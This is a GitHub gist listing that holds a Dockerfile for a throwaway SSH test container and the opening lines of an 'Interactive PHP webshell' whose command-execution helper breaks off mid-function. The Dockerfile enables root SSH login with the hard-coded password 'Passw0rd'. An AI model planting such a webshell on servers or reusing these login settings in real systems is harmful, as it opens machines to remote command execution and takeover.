Skip to content

Instantly share code, notes, and snippets.

@OidaTiftla
OidaTiftla / Dockerfile
Created May 9, 2022 19:59
SSH within Docker-Container for testing purpose with git and bash-completion
FROM ubuntu
RUN set Europe/Berlin timezone
RUN ln -sf /usr/share/zoneinfo/Europe/Berlin /etc/localtime
RUN apt update && apt install -y openssh-server git vim bash-completion
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
RUN echo "root:Passw0rd" | chpasswd
ENTRYPOINT service ssh start && bash -c 'while true; do sleep 30; done;'
RUN git config --global init.defaultBranch main && git config --global user.email "[email protected]" && git config --global user.name "Max Mustermann"
RUN echo "source /etc/bash_completion" >> /root/.bashrc
@OidaTiftla
OidaTiftla / shell.php
Last active May 29, 2023 11:59 — forked from mrpapercut/shell.php
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function my_shell_exec($cmd, &$stdout=null, &$stderr=null) {
$proc = proc_open($cmd,[
1 => ['pipe','w'],
2 => ['pipe','w'],